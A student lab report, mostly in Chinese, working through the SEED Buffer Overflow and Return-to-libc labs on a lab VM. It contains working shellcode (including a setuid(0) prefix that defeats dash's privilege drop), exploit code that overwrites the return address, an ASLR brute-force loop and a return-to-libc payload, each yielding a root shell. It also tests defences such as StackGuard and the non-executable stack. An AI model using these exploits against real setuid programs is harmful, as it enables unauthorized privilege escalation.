Lab Report 2

Buffer Overflow Vulnerability Lab

57117232

刘熙达

Task 1: Running Shellcode

```
[09/04/20]seed@VM:~$  sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

1.首先关闭 linux 系统对于 buffer overflow 攻击的保护措施

```
[09/04/20]seed@VM:~/lab2$ gedit call_shellcode.c
[09/04/20]seed@VM:~/lab2$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/04/20]seed@VM:~/lab2$ ls
call_shellcode  call_shellcode.c
[09/04/20]seed@VM:~/lab2$ ./call_shellcode
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(di
),46(plugdev),113(lpadmin),128(sambashare)
$
```

2.运行编译 call_shellcode.c，在编译时开启 execstack 选项。运行程序，可以看到 shell 被调用

Task 2: Exploiting the Vulnerability

```
[09/04/20]seed@VM:~/lab2$ gdb stack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...done.
gdb-peda$ b main
Breakpoint 1 at 0x804851e: file stack.c, line 24.
gdb-peda$ r
Starting program: /home/seed/lab2/stack
```

1.编译 stack.c，编译时选择开启 execstack，关闭 stack protector，将编译后的 stack 程序设置为 root-owned Set-UID 程序

2.使用 gdb 调试程序，在 main 函数设置断点，运行程序

```
Breakpoint 1, main (argc=0x1, argv=0xbfffed24) at stack.c:24
warning: Source file is more recent than executable.
24      char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
gdb-peda$ p &str
$1 = (char_(*)[517]) 0xbfffea67
```

3.可以看到，程序在断点处停止。此时通过指令输出 str 所在地址为 0xbfffea67.

```
gdb-peda$ disass bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x28
   0x080484f1 <+6>:     sub    esp,0x8
   0x080484f4 <+9>:     push   DWORD PTR [ebp+0x8]
   0x080484f7 <+12>:    lea    eax,[ebp-0x20]
   0x080484fa <+15>:    push   eax
   0x080484fb <+16>:    call   0x8048390 <strcpy@plt>
   0x08048500 <+21>:    add    esp,0x10
   0x08048503 <+24>:    mov    eax,0x1
   0x08048508 <+29>:    leave
   0x08048509 <+30>:    ret
End of assembler dump.
```

4.之后通过 disass 指令对 bof 进行反汇编，从红框中的位置可以 buffer 的首地址距离 ebp 的偏移量为 0x20,那么 return address 的地址则为 0x20+4=0x24

```
/* ... Put your code here ... */
strcpy(buffer+36,"\xcb\xea\xff\xbf");
strcpy(buffer+100,shellcode);
```

5.根据前述步骤的结果，将 shellcode 放置在距离 buffer 地址处偏移量 100 的位置，则 shellcode 所在的地址为 0xbfffea67+0x64=0xbfffeacb.再根据 return address 相对于 buffer 的偏移量是 0x24，即十进制的 36，将 shellcode 地址填入距离 buffer 偏移量 36 的位置

```
[09/04/20]seed@VM:~/lab2$ gedit exploit.c
[09/04/20]seed@VM:~/lab2$ gcc exploit.c -o exploit
[09/04/20]seed@VM:~/lab2$ ./exploit
[09/04/20]seed@VM:~/lab2$ ./stack
# whoami
root
#
```

6.编译并运行 exploit，再运行 stack，可以看到获得 root 权限，buffer overflow 攻击成功。

Task 3: Defeating dash's Countermeasure

```
char shellcode[] =
  "\x31\xc0"            /* Line 1: xorl     %eax,%eax    */
  "\x31\xdb"            /* Line 2: xorl     %ebx,%ebx    */
  "\xb0\xd5"            /* Line 3: movb     $0xd5,%al    */
  "\xcd\x80"            /* Line 4: int      $0x80        */
 // ---- The code below is the same as the one in Task 2 ---
  "\x31\xc0"
  "\x50"
  "\x68""//sh"
  "\x68""/bin"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x99"
  "\xb0\x0b"
  "\xcd\x80"
```

```
[09/04/20]seed@VM:~/lab2$ sudo ln -sf /bin/dash /bin/sh
[09/04/20]seed@VM:~/lab2$ gedit exploit.c
[09/04/20]seed@VM:~/lab2$ gcc exploit.c -o exploit
[09/04/20]seed@VM:~/lab2$ ./exploit
[09/04/20]seed@VM:~/lab2$ ./stack
# whoami
root
#
```

1.将 sh 重新连接到 dash,修改 exploit.c 中的 shellcode，重新编译运行 exploit 和 stack 程序，发现通过 setuid 函数可以绕过 dash 对 shellcode 的防御措施，buffer overflow 攻击成功.

Task 4: Defeating Address Randomization

```
[09/04/20]seed@VM:~/lab2$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/04/20]seed@VM:~/lab2$ ./stack
Segmentation fault
[09/04/20]seed@VM:~/lab2$
```

1.开启地址随机化，不做修改再次尝试运行 stack，产生 segmentation fault,说明覆盖的返回地址有误

```
SECONDS=0
value=0
while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done
```

2.根据分析，在 linux 32bits 系统中，随机化的地址空间的数量级在可以接受的范围内，因而选择使用 brute force 随机尝试，直到攻击成功。攻击所用的脚本如上图。

```
The program has been running 1768778 times so far.
./task4.sh: line 12: 29625 Segmentation fault      ./stack
31 minutes and 24 seconds elapsed.
The program has been running 1768779 times so far.
./task4.sh: line 12: 29626 Segmentation fault      ./stack
31 minutes and 24 seconds elapsed.
The program has been running 1768780 times so far.
# whoami
root
#
```

3.可以看到，在运行了 1768780 次后，buffer overflow 攻击成功，耗时 31 分钟。

Task 5: Turn on the StackGuard Protection

```
[09/04/20]seed@VM:~/lab2$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~/lab2$ gcc -o stack_with_guard -z noexecstack stack.c
[09/04/20]seed@VM:~/lab2$ ./stack_with_guard
*** stack smashing detected ***: ./stack_with_guard terminated
Aborted
[09/04/20]seed@VM:~/lab2$
```

1.开启 stack guard protection 选项编译 stack.c，再次执行程序，可以看到程序输出 stack smashing detected 错误, buffer overflow 攻击失败。

Task6: Turn on the Non-executable Stack Protection

```
[09/04/20]seed@VM:~/lab2$ gcc -o stack_noexec -fno-stack-protector -z noexecstac
k stack.c
[09/04/20]seed@VM:~/lab2$ ./stack_noexec
Segmentation fault
[09/04/20]seed@VM:~/lab2$
```

1.在编译时开启不可执行栈保护选项，再次编译并运行程序，发现出现段错误，说明 buffer 发生了溢出，但是由于保护机制，无法执行 shellcode，故攻击失败。

Return-to-libc Attack Lab

Task 1: Finding out the addresses of libc functions

```
[09/05/20]seed@VM:~/lab3$ gedit retlib.c
[09/05/20]seed@VM:~/lab3$ gcc -fno-stack-protector -z noexecstack -o retlib retl
ib.c
[09/05/20]seed@VM:~/lab3$ sudo chown root retlib
[09/05/20]seed@VM:~/lab3$ sudo chmod 4755 retlib
```

```
[09/05/20]seed@VM:~/lab3$ touch badfile
[09/05/20]seed@VM:~/lab3$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/seed/lab3/retlib
Returned Properly
[Inferior 1 (process 7478) exited with code 01]
Warning: not running or target is remote
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

1.关闭 linux 系统对于 buffer overflow 的保护措施，编译 retlib 程序，并将其设置为 root-owned Set-UID 程序

2.使用 GDB 调试程序，通过 p system 和 p exit 指令获得 system()和 exit()的地址分别为 0xb7e42da0 和 0xb7e369d0

Task 2: Putting the shell string in the memory

```
[09/05/20]seed@VM:~/lab3$ export MYSHELL=/bin/sh
[09/05/20]seed@VM:~/lab3$ env | grep MYSHELL
MYSHELL=/bin/sh
[09/05/20]seed@VM:~/lab3$
```

1.添加 MYSHELL 环境，使用 env 指令查看，发现添加成功

Task 3: Exploiting the buffer-overflow vulnerability

```
[09/05/20]seed@VM:~/lab3$ ./getadr MYSHELL ./retlib
MYSHELL will be at 0xbffffdd6
```

1.编写程序用来查看 MYSHELL 环境变量的地址，结果为 0xbffffdd6

```
gdb-peda$ disass bof
Dump of assembler code for function bof:
   0x080484eb <+0>:     push   ebp
   0x080484ec <+1>:     mov    ebp,esp
   0x080484ee <+3>:     sub    esp,0x18
   0x080484f1 <+6>:     push   DWORD PTR [ebp+0x8]
   0x080484f4 <+9>:     push   0x12c
   0x080484f9 <+14>:    push   0x1
   0x080484fb <+16>:    lea    eax,[ebp-0x14]
   0x080484fe <+19>:    push   eax
   0x080484ff <+20>:    call   0x8048390 <fread@plt>
   0x08048504 <+25>:    add    esp,0x10
   0x08048507 <+28>:    mov    eax,0x1
   0x0804850c <+33>:    leave
   0x0804850d <+34>:    ret
End of assembler dump.
```

2.使用 disass 对 bof 进行反汇编，发现 buf 首地址相对于 ebp 的偏移量是 0x14,则返回地址为 0x14+4=24. 为了使程序在执行完 bof 函数后返回到 system()的地址，将 buf 的第 24 字节开始设置为 system 的地址

```
*(long *) &buf[32] = 0xbffffdd6; // "/bin/sh"
*(long *) &buf[24] = 0xb7e42da0 ; // system()
*(long *) &buf[36] = 0xb7e369d0 ; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
```

3.根据上述求得的地址，完成 exploit.c 程序

```
gdb-peda$ q
[09/05/20]seed@VM:~/lab3$ gedit exploit.c
[09/05/20]seed@VM:~/lab3$ gcc -o exploit exploit.c
[09/05/20]seed@VM:~/lab3$ ./exploit
[09/05/20]seed@VM:~/lab3$ ./retlib
# whoami
root
#
```

4.依次编译运行 exploit 和 retlib 程序，发现获得带有 root 权限的 shell，攻击成功

Attack version1:

```
[09/05/20]seed@VM:~/lab3$ gedit exploit.c
[09/05/20]seed@VM:~/lab3$ gcc -o exploit exploit.c
[09/05/20]seed@VM:~/lab3$ ./exploit
[09/05/20]seed@VM:~/lab3$ ./retlib
# whoami
root
# exit
Segmentation fault
[09/05/20]seed@VM:~/lab3$
```

1.修改 exploit 程序，将 exit()相关代码注释，再次编译运行，发现同样可以获得带有 root 权限的 shell

Attack version2:

```
[09/05/20]seed@VM:~/lab3$ mv retlib ret2lib
[09/05/20]seed@VM:~/lab3$ ./ret2lib
zsh:1: no such file or directory: in/sh
Segmentation fault
[09/05/20]seed@VM:~/lab3$
```

2.将 retlib 程序更名为 ret2lib,再次执行，发现程序报错。根据报错呢欧容，推测程序名的长度变化会使 MYSHELL 变量的地址发生变化，进而影响攻击。

Task 4: Turning on address randomization

```
[09/05/20]seed@VM:~/lab3$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~/lab3$ ./retlib
Segmentation fault
[09/05/20]seed@VM:~/lab3$
```

1.开启随机化地址功能，尝试再次运行程序，发现攻击失败

```
gdb-peda$ show disable-randomization
Disabling randomization of debuggee's virtual address space is on.
gdb-peda$ set disable-randomization off
gdb-peda$ show disable-randomization
Disabling randomization of debuggee's virtual address space is off.
```

2.使用 GDB 查看变量地址，在 GDB 中开启地址随机化

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7607da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75fb9d0 <__GI_exit>
```

3.通过指令查看地址，发现与之前未开启随机化的地址出现不同

```
[09/05/20]seed@VM:~/lab3$ ./getadr MYSHELL ./retlib
MYSHELL will be at 0xbfde8dd6
```

4.再次使用程序查看 MYSHELL 变量的地址，发现地址同样发生变化。

5.变化的 system(),exit()和 MYSHELL 地址会影响攻击中对 bof 返回地址的覆盖，进而造成攻击失效。